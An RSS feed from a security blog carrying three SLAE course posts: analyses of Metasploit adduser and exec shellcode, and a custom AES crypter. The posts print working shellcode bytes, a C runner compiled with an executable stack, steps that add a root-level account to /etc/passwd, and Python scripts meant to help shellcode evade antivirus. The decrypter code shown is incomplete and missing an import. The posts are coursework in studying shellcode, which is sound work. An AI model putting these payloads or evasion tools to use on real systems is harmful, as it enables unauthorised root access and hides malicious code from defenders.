<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>slae Archives -</title>
	<atom:link href="https://barriersec.com/tag/slae/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/slae/</link>
	<description></description>
	<lastBuildDate>Mon, 14 Sep 2020 03:01:16 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>slae Archives -</title>
	<link>https://barriersec.com/tag/slae/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Linux/x86 msfvenom add user shellcode analysis</title>
		<link>https://barriersec.com/2018/12/linux-x86-msfvenom-add-user-shellcode-analysis/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Mon, 03 Dec 2018 22:24:20 +0000</pubDate>
				<category><![CDATA[x/86 msfvenom adduser analysis]]></category>
		<category><![CDATA[adduser]]></category>
		<category><![CDATA[analysis]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[msfvenom]]></category>
		<category><![CDATA[slae]]></category>
		<category><![CDATA[x86]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=429</guid>

					<description><![CDATA[<p>Lets take up another shellcode from msfvenom. we will take up payloads/linux/x86/adduser for analysis. Lets see the payload options available.&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-add-user-shellcode-analysis/">Linux/x86 msfvenom add user shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Lets take up another shellcode from msfvenom. we will take up <strong>payloads/linux/x86/adduser </strong>for analysis. Lets see the payload options available.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# msfvenom -p linux/x86/adduser --payload-options
Options for payload/linux/x86/adduser:


       Name: Linux Add User
     Module: payload/linux/x86/adduser
   Platform: Linux
       Arch: x86
Needs Admin: Yes
 Total size: 97
       Rank: Normal

Provided by:
    skape &lt;mmiller@hick.org&gt;
    vlad902 &lt;vlad902@gmail.com&gt;
    spoonm &lt;spoonm@no$email.com&gt;

Basic options:
Name   Current Setting  Required  Description
----   ---------------  --------  -----------
PASS   metasploit       yes       The password for this user
SHELL  /bin/sh          no        The shell for this user
USER   metasploit       yes       The username to create

Description:
  Create a new user with UID 0</code></span></pre>



<p>We see that it takes two parameter , <strong>USER </strong>and <strong>PASS . </strong>lets pipe the raw shellcode to ndisasm for analysis.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# msfvenom -p linux/x86/adduser USER=goutham PASS=goutham -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 94 bytes

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E825000000        call 0x50
0000002B  676F              a16 outsd
0000002D  7574              jnz 0xa3
0000002F  68616D3A41        push dword 0x413a6d61
00000034  7A51              jpe 0x87
00000036  7945              jns 0x7d
00000038  50                push eax
00000039  754E              jnz 0x89
0000003B  306533            xor [ebp+0x33],ah
0000003E  7955              jns 0x95
00000040  3A30              cmp dh,[eax]
00000042  3A30              cmp dh,[eax]
00000044  3A3A              cmp bh,[edx]
00000046  2F                das
00000047  3A2F              cmp ch,[edi]
00000049  62696E            bound ebp,[ecx+0x6e]
0000004C  2F                das
0000004D  7368              jnc 0xb7
0000004F  0A598B            or bl,[ecx-0x75]
00000052  51                push ecx
00000053  FC                cld
00000054  6A04              push byte +0x4
00000056  58                pop eax
00000057  CD80              int 0x80
00000059  6A01              push byte +0x1
0000005B  58                pop eax
0000005C  CD80              int 0x80</code></span></pre>



<p>we see there are totally four syscalls. we can recognize last one very easily. its an exit syscall . seems like its just a cleanup operation. lets check out what first syscall is. <strong>0x46 </strong>is <strong>70 </strong>in decimal. i.e,</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 70
#define __NR_setreuid 70
</code></span></pre>



<p>its setreuid ..according to its man page,</p>



<pre class="wp-block-preformatted"><span style="color: #ff0000;"><strong>setreuid</strong>() sets real and effective user IDs of the calling process.
</span></pre>



<p>so since ebx and ecx register is set to 0 before calling interrupt, it is setting  that of root. this helps us in our further task of adding a root user ( we need this privilege to write passwd file).</p>



<p>Second syscall is fairly straight forward, its an open sys call ( 5 )</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~# cat /usr/include/i386-linux-gnu/asm/unistd_32.h| grep 5
#define __NR_open 5
</code></span></pre>



<pre class="wp-block-preformatted"><strong>int open(const char *</strong><em>pathname</em><strong>, int </strong><em>flags</em><strong>);</strong></pre>



<p>From man page, we can see it takes two argument . first one , file name and second one is the flags defines mode of operation associated . from the shellcode its clear , ebx is pointed to string &#8220;/etc//passwd&#8221;</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80</code></span></pre>



<p>and also , ecx is pushed with value 0x0401(1025) which points out flags set are write and append <a href="http://man7.org/linux/man-pages/man2/open.2.html"> http://man7.org/linux/man-pages/man2/open.2.html</a></p>



<p>since open returns file descriptor of file being operated on . since return value is stored in eax its moved to ebx. next we see some weird instructions .but syscall points out its a  write sys call . (5) lets run the same pgm in gdb and check before interrupt is called for this write syscall.</p>



<pre class="wp-block-code"><code><span style="color: #ff0000;">
[----------------------------------registers-----------------------------------]
EAX: 0x4 
EBX: 0x3 
ECX: 0x40206b ("goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh\nY\213Q\374j\004X̀j\001X̀")
EDX: 0x25 ('%')
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff2d8 --&gt; 0x0 
ESP: 0xbffff2ac ("/etc//passwd")
EIP: 0x402097 --&gt; 0x16a80cd
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402093 &lt;code+83&gt;:	cld    
   0x402094 &lt;code+84&gt;:	push   0x4
   0x402096 &lt;code+86&gt;:	pop    eax
=&gt; 0x402097 &lt;code+87&gt;:	int    0x80
   0x402099 &lt;code+89&gt;:	push   0x1
   0x40209b &lt;code+91&gt;:	pop    eax
   0x40209c &lt;code+92&gt;:	int    0x80
   0x40209e &lt;code+94&gt;:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff2ac ("/etc//passwd")
0004| 0xbffff2b0 ("//passwd")
0008| 0xbffff2b4 ("sswd")
0012| 0xbffff2b8 --&gt; 0x0 
0016| 0xbffff2bc --&gt; 0x40059d (&lt;main+80&gt;:	mov    eax,0x0)
0020| 0xbffff2c0 --&gt; 0x1</span> 
</code></pre>



<p>from man page for write sys call,</p>



<p><strong>ssize_t write(int</strong><em>fd</em><strong>, const void *</strong><em>buf</em><strong>, size_t</strong><em>count</em><strong>);</strong></p>



<p>we see just before the sys interrupt , ebx points to file discripter which was returned by earlier open sys call. ecx contains memory location which points to our required line for adding user to /etc/passwd . finally edx contains size. </p>



<p>Finally exit call is used to exit gracefully. </p>



<p>with the help of strace , we can see what syscalls are called by our program. we can verify all the syscalls with proper arguments as follows :</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze/msf_adduser# strace ./shellcode

write(1, "Shellcode Length:  40\n", 22Shellcode Length:  40
) = 22

setreuid(0, 0)                          = 0
open("/etc//passwd", O_WRONLY|O_APPEND) = 3
write(3, "goutham:AzQyEPuN0e3yU:0:0::/:/bi"..., 37) = 37
exit(3)                                 = ?
+++ exited with 3 +++
</code></span></pre>



<p>lets verify the operation is successful .</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze/msf_adduser# cat /etc/passwd | grep goutham

goutham:AzQyEPuN0e3yU:0:0::/:/bin/sh

</code></span></pre>



<p>As we see, our desired user with root privilege is added to the system.</p>



<p>Github repo for code :</p>



<p><a href="https://github.com/strikergoutham/SLAE_assignments">https://github.com/strikergoutham/SLAE_assignments</a></p>



<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>



<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>



<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-add-user-shellcode-analysis/">Linux/x86 msfvenom add user shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux / x86 Msfvenom Exec shellcode analysis</title>
		<link>https://barriersec.com/2018/12/linux-x86-msfvenom-exec-shellcode-analysis/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 23:23:16 +0000</pubDate>
				<category><![CDATA[x/86 msfvenom exec analysis]]></category>
		<category><![CDATA[exec analysis]]></category>
		<category><![CDATA[msfvenom]]></category>
		<category><![CDATA[slae]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=410</guid>

					<description><![CDATA[<p>Today we will analyse the shellcode for msfvenom payload &#8220;payload/linux/x86/exec&#8221; . So lets check the payload options for it.  this&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-exec-shellcode-analysis/">Linux / x86 Msfvenom Exec shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[
<p>Today we will analyse the shellcode for msfvenom payload <strong>&#8220;payload/linux/x86/exec&#8221; . </strong>So lets check the payload options for it.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze# msfvenom -p linux/x86/exec --payload-options
Options for payload/linux/x86/exec:


       Name: Linux Execute Command
     Module: payload/linux/x86/exec
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 36
       Rank: Normal

Provided by:
    vlad902 &lt;vlad902@gmail.com&gt;

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
CMD                    yes       The command string to execute

Description:
  Execute an arbitrary command</code></span></pre>



<p> this payload accepts a &#8220;CMD&#8221; parameter, which is the code to be executed on the system. I will use &#8220;whoami&#8221; command for analyzing the generated shellcode. Lets pipe the output to ndisasm.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f raw | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes

00000000  6A0B              push byte +0xb
00000002  58                pop eax
00000003  99                cdq
00000004  52                push edx
00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp
0000000B  682F736800        push dword 0x68732f
00000010  682F62696E        push dword 0x6e69622f
00000015  89E3              mov ebx,esp
00000017  52                push edx
00000018  E807000000        call 0x24
0000001D  7768              ja 0x87
0000001F  6F                outsd
00000020  61                popa
00000021  6D                insd
00000022  6900575389E1      imul eax,[eax],dword 0xe1895357
00000028  CD80              int 0x80
</code></span></pre>



<p>initially we see that, syscall number &#8220;11&#8221; stored on eax. which implies that its making use of execve to execute our desired command! there are weird call instruction in the middle , we can see edx register getting set with null, along with setting argument 1 (&#8220;/bin/sh&#8221;) on ebx register. and &#8220;push word 0x632d&#8221; translates to &#8220;-c&#8221; in ASCII text, this hints that execve may be called as follows to execute our command.</p>



<p><strong>execve(&#8220;/bin/sh&#8221;,[*(&#8220;/bin/sh&#8221;),&#8221;-c&#8221;,&#8221;whoami&#8221;],0)</strong></p>



<p>but we note that there is no string &#8220;whoami&#8221; that is our command in the dissected assembly code. lets analyze the same code in gdb for further inspection.specifically on that call instruction.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze# msfvenom -p linux/x86/exec CMD=whoami -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 42 bytes
Final size of c file: 201 bytes
unsigned char buf[] = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";
</code></span></pre>



<p>Lets place this in our c template program and run inside gdb.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>#include&lt;stdio.h&gt;
#include&lt;string.h&gt;


unsigned char code[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x07\x00\x00\x00\x77"
"\x68\x6f\x61\x6d\x69\x00\x57\x53\x89\xe1\xcd\x80";




int main()
{
	
	
	printf("Shellcode Length:  %d\n", strlen(code));

	
	int (*ret)() = (int(*)())code;

	ret();

}</code></span></pre>



<p>we will use GDB extended with Peda for smoother analysis. As Peda has some very cool integrated features which helps us in easier dissection.Lets place a breakpoint at our shellcode.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>root@kali:~/slae_analyze/msf_exec# gcc -fno-stack-protector -z execstack -o shellcode shellcode.c
root@kali:~/slae_analyze/msf_exec# ./shellcode
Shellcode Length:  15
root
root@kali:~/slae_analyze/msf_exec# gdb -q ./shellcode
Reading symbols from ./shellcode...(no debugging symbols found)...done.
gdb-peda$ break *&amp;code
Breakpoint 1 at 0x2040
gdb-peda$ run


</code></span></pre>



<p>We dissemble at the start of our shellcode.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>[----------------------------------registers-----------------------------------]
EAX: 0x402040 --&gt; 0x99580b6a 
EBX: 0x402000 --&gt; 0x1efc 
ECX: 0x0 
EDX: 0xb7fab890 --&gt; 0x0 
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0x0 
EBP: 0xbffff288 --&gt; 0x0 
ESP: 0xbffff26c --&gt; 0x40059d (&lt;main+80&gt;:	mov    eax,0x0)
EIP: 0x402040 --&gt; 0x99580b6a
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40203a:	add    BYTE PTR [eax],al
   0x40203c:	add    BYTE PTR [eax],al
   0x40203e:	add    BYTE PTR [eax],al
=&gt; 0x402040 &lt;code&gt;:	push   0xb
   0x402042 &lt;code+2&gt;:	pop    eax
   0x402043 &lt;code+3&gt;:	cdq    
   0x402044 &lt;code+4&gt;:	push   edx
   0x402045 &lt;code+5&gt;:	pushw  0x632d
[------------------------------------stack-------------------------------------]
0000| 0xbffff26c --&gt; 0x40059d (&lt;main+80&gt;:	mov    eax,0x0)
0004| 0xbffff270 --&gt; 0x1 
0008| 0xbffff274 --&gt; 0xbffff334 --&gt; 0xbffff4df ("/root/slae_analyze/msf_exec/shellcode")
0012| 0xbffff278 --&gt; 0xbffff33c --&gt; 0xbffff505 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xbffff27c --&gt; 0x402040 --&gt; 0x99580b6a 
0020| 0xbffff280 --&gt; 0xbffff2a0 --&gt; 0x1 
0024| 0xbffff284 --&gt; 0x0 
0028| 0xbffff288 --&gt; 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00402040 in code ()
gdb-peda$ disassemble
Dump of assembler code for function code:
=&gt; 0x00402040 &lt;+0&gt;:	push   0xb
   0x00402042 &lt;+2&gt;:	pop    eax
   0x00402043 &lt;+3&gt;:	cdq    
   0x00402044 &lt;+4&gt;:	push   edx
   0x00402045 &lt;+5&gt;:	pushw  0x632d
   0x00402049 &lt;+9&gt;:	mov    edi,esp
   0x0040204b &lt;+11&gt;:	push   0x68732f
   0x00402050 &lt;+16&gt;:	push   0x6e69622f
   0x00402055 &lt;+21&gt;:	mov    ebx,esp
   0x00402057 &lt;+23&gt;:	push   edx
   0x00402058 &lt;+24&gt;:	call   0x402064 &lt;code+36&gt;
   0x0040205d &lt;+29&gt;:	ja     0x4020c7
   0x0040205f &lt;+31&gt;:	outs   dx,DWORD PTR ds:[esi]
   0x00402060 &lt;+32&gt;:	popa   
   0x00402061 &lt;+33&gt;:	ins    DWORD PTR es:[edi],dx
   0x00402062 &lt;+34&gt;:	imul   eax,DWORD PTR [eax],0xe1895357
   0x00402068 &lt;+40&gt;:	int    0x80
   0x0040206a &lt;+42&gt;:	add    BYTE PTR [eax],al
End of assembler dump.
</code></span></pre>



<p>we see that call instruction again with jump to some memory location. lets analyse by break at that location. </p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0x0 
EDX: 0x0 
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0xbffff266 --&gt; 0x632d ('-c')
EBP: 0xbffff288 --&gt; 0x0 
ESP: 0xbffff256 --&gt; 0x40205d ("whoami")
EIP: 0x402064 --&gt; 0xe1895357
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
=&gt; 0x402064 &lt;code+36&gt;:	push   edi
   0x402065 &lt;code+37&gt;:	push   ebx
   0x402066 &lt;code+38&gt;:	mov    ecx,esp
   0x402068 &lt;code+40&gt;:	int    0x80
[------------------------------------stack-------------------------------------]
0000| 0xbffff256 --&gt; 0x40205d ("whoami")
0004| 0xbffff25a --&gt; 0x0 
0008| 0xbffff25e ("/bin/sh")
0012| 0xbffff262 --&gt; 0x68732f ('/sh')
0016| 0xbffff266 --&gt; 0x632d ('-c')
0020| 0xbffff26a --&gt; 0x59d0000 
0024| 0xbffff26e --&gt; 0x10040 
0028| 0xbffff272 --&gt; 0xf3340000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402064 in code ()
</code></span></pre>



<p>As we see,  memory address containing our command string(&#8220;whoami&#8221;) is pushed onto to the stack . lets verify that what we assume is true.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>gdb-peda$ x/s 0x40205d
0x40205d &lt;code+29&gt;:	"whoami"
</code></span></pre>



<p>Now lets break before calling interrupt to verify that all the arguments are on the stack setup for execve to execute.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xbffff25e ("/bin/sh")
ECX: 0xbffff24e --&gt; 0xbffff25e ("/bin/sh")
EDX: 0x0 
ESI: 0xb7faa000 --&gt; 0x1d4d6c 
EDI: 0xbffff266 --&gt; 0x632d ('-c')
EBP: 0xbffff288 --&gt; 0x0 
ESP: 0xbffff24e --&gt; 0xbffff25e ("/bin/sh")
EIP: 0x402068 --&gt; 0x80cd
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x402060 &lt;code+32&gt;:	popa   
   0x402061 &lt;code+33&gt;:	ins    DWORD PTR es:[edi],dx
   0x402062 &lt;code+34&gt;:	imul   eax,DWORD PTR [eax],0xe1895357
=&gt; 0x402068 &lt;code+40&gt;:	int    0x80
   0x40206a &lt;code+42&gt;:	add    BYTE PTR [eax],al
   0x40206c:	add    BYTE PTR [eax],al
   0x40206e:	add    BYTE PTR [eax],al
   0x402070:	add    BYTE PTR [eax],al
[------------------------------------stack-------------------------------------]
0000| 0xbffff24e --&gt; 0xbffff25e ("/bin/sh")
0004| 0xbffff252 --&gt; 0xbffff266 --&gt; 0x632d ('-c')
0008| 0xbffff256 --&gt; 0x40205d ("whoami")
0012| 0xbffff25a --&gt; 0x0 
0016| 0xbffff25e ("/bin/sh")
0020| 0xbffff262 --&gt; 0x68732f ('/sh')
0024| 0xbffff266 --&gt; 0x632d ('-c')
0028| 0xbffff26a --&gt; 0x59d0000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x00402068 in code ()
gdb-peda$ info registers
eax            0xb	0xb
ecx            0xbffff24e	0xbffff24e
edx            0x0	0x0
ebx            0xbffff25e	0xbffff25e
esp            0xbffff24e	0xbffff24e
ebp            0xbffff288	0xbffff288
esi            0xb7faa000	0xb7faa000
edi            0xbffff266	0xbffff266
eip            0x402068	0x402068 &lt;code+40&gt;
eflags         0x282	[ SF IF ]
cs             0x73	0x73
ss             0x7b	0x7b
ds             0x7b	0x7b
es             0x7b	0x7b
fs             0x0	0x0
gs             0x33	0x33
</code></span></pre>



<p>From the above code its clear that all the arguments for execve has been set properly before the interrupt. ebx contains /bin/sh string. and ecx contains address &#8220;<strong>0xbffff24e</strong>&#8221; (ESP) which points to memory location <strong>&#8220;0xbffff25e&#8221;</strong> which is nothing but address  of the /bin/sh followed by other arguments which are present on the stack.</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>gdb-peda$ x/s 0xbffff25e
0xbffff25e:	"/bin/sh"
</code></span></pre>



<p>Finally our code executes successfully ..</p>



<pre class="wp-block-code"><span style="color: #ff0000;"><code>gdb-peda$ s
process 9452 is executing new program: /bin/dash

process 9497 is executing new program: /usr/bin/whoami

#output of our command "whoami"
root

[Inferior 2 (process 9497) exited normally]
Warning: not running or target is remote
</code></span></pre>



<p>Thats it for today. I will take up more shellcode analysis in the next few posts. Thank you!</p>



<p>Github Repo link :</p>



<p>https://github.com/strikergoutham/SLAE_assignments</p>



<p><strong>This blog post has been created for the completing the requirements of SecurityTube Linux Assembly Expert  certification.</strong></p>



<p>(<a href="https://www.pentesteracademy.com/course?id=3">https://www.pentesteracademy.com/course?id=3</a>)</p>



<p>SLAE student ID :  <strong>SLAE – 1367</strong></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-msfvenom-exec-shellcode-analysis/">Linux / x86 Msfvenom Exec shellcode analysis</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Linux/x86 Custom shellcode Crypter</title>
		<link>https://barriersec.com/2018/12/linux-x86-custom-shellcode-crypter/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Sun, 02 Dec 2018 14:58:25 +0000</pubDate>
				<category><![CDATA[crypter]]></category>
		<category><![CDATA[slae]]></category>
		<category><![CDATA[x86]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=379</guid>

					<description><![CDATA[<p>Hi Everyone! Today we will write a simple shellcode crypter, Which encrypts original shellcode and then a decrypter decodes and&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2018/12/linux-x86-custom-shellcode-crypter/">Linux/x86 Custom shellcode Crypter</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Hi Everyone! Today we will write a simple shellcode crypter, Which encrypts original shellcode and then a decrypter decodes and executes original shellcode in memory.</p>
<p>Why Crypters?</p>
<p>shellcode can easily be fingerprinted by AV , IDS systems. in order to prevent such finger printing or to increase our chance of evading such systems while we execute shellcode , we can encrypt the original shellcode.  And moreover more complex/ harder the encryption algorithm, More chances we have to evade AV&#8217;s.</p>
<p>We can even increase our chance of evasion, by chaining different methods such as encoding and different cycle of encryption .</p>
<p>choosing the encryption algorithm was the biggest challenge for me , I decided to go with <strong>AES &#8211; 256</strong> encryption . AES(Advanced Encryption Standard ) is a symmetric encryption algorithm , which means a single same key is used for both encryption and decryption. Number of rounds of encryption cycle , in this case its 14(max rounds) .</p>
<p>I decided to implement with the help of <strong>pycrypto</strong> module which is available for python.</p>
<p>Here is my simple crypter program(<strong>encrypt.py</strong>) :</p>
<pre>#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com

import base64
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse


parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to encrypt shellcode')
parser.add_argument('-s', "--shellcode", help='shellcode should have \ escaped ')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode

print("provided key :\t",secret,"\n")
print("provided shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def encrypt(raw, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    raw = pad(raw)
    iv = Random.new().read(AES.block_size)
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return base64.b64encode(iv + cipher.encrypt(raw))




shellcode_encrypted = encrypt(shellcode, secret)
print("encrypted shellcode :\t",shellcode_encrypted)</pre>
<p>My script takes two arguments, <strong>key</strong> and <strong>shellcode. </strong> <strong>shellcode</strong> is the original shellcode to be encrypted with the provided <strong>key . </strong></p>
<p>I will use one of my previous simple spawn a shell shellcode :</p>
<p><strong>\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80&#8243;</strong></p>
<p>and key : <strong>secret</strong></p>
<p>lets execute and test :</p>
<pre>root@kali:~/slae_crypter# python3 encrypt.py -k "secret" -s "\\x29\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x99\\x6a\\x0b\\x58\\xcd\\x80"
Pycrypto AES-256 crypter

provided key :	 secret 

provided shellcode :	 \x29\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x99\x6a\x0b\x58\xcd\x80 

encrypted shellcode :	 b'mY3byagSnODp3hjw219NkmjkvU1BWpWYFRyoSN1upEtt9pgd0XLneFUweIpgMrCK/uiUD0SbwyFUg6ciKLlrQUYMG/rzkZFzT/1/3yQb/7j3QX1WsMC/OE11nCE14ZEl8vK7aZriwePk7nGhzAm6ig=='</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-389" src="https://barriersec.com/wp-content/uploads/encrypt.png" alt="" width="1148" height="668" srcset="https://barriersec.com/wp-content/uploads/encrypt.png 1148w, https://barriersec.com/wp-content/uploads/encrypt-300x175.png 300w, https://barriersec.com/wp-content/uploads/encrypt-768x447.png 768w, https://barriersec.com/wp-content/uploads/encrypt-1024x596.png 1024w" sizes="(max-width: 1148px) 100vw, 1148px" /></p>
<p>&nbsp;</p>
<p>Now here is my custom implemented decrypter in python (<strong>decrypt.py</strong>) :</p>
<pre>#Crypter AES - 256
#Author : goutham madhwaraj
#website : https://barriersec.com
import hashlib
from Crypto.Cipher import AES
from Crypto import Random
from ctypes import *
import sys
import argparse

parser = argparse.ArgumentParser()
parser.add_argument('-k', "--key", help='secret key used to decrypt shellcode')
parser.add_argument('-e', "--shellcode", help='encrypted shellcode should be a string')

args = parser.parse_args()

if args.key == None and args.shellcode == None :
    parser.print_help()
    exit()

print("Pycrypto AES-256 crypter\n")

secret = args.key
shellcode = args.shellcode.encode()


print("provided key :\t",secret,"\n")
print("encoded shellcode :\t",shellcode,"\n")

BLOCK_SIZE = 16
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)
unpad = lambda s: s[:-ord(s[len(s) - 1:])]

def decrypt(enc, password):
    private_key = hashlib.sha256(password.encode("utf-8")).digest()
    enc = base64.b64decode(enc)
    iv = enc[:16]
    cipher = AES.new(private_key, AES.MODE_CBC, iv)
    return unpad(cipher.decrypt(enc[16:]))


decrypted = decrypt(shellcode, secret)
exec_shellcode = bytes.decode(decrypted)
print("decoded shellcode....\n")
print(exec_shellcode)

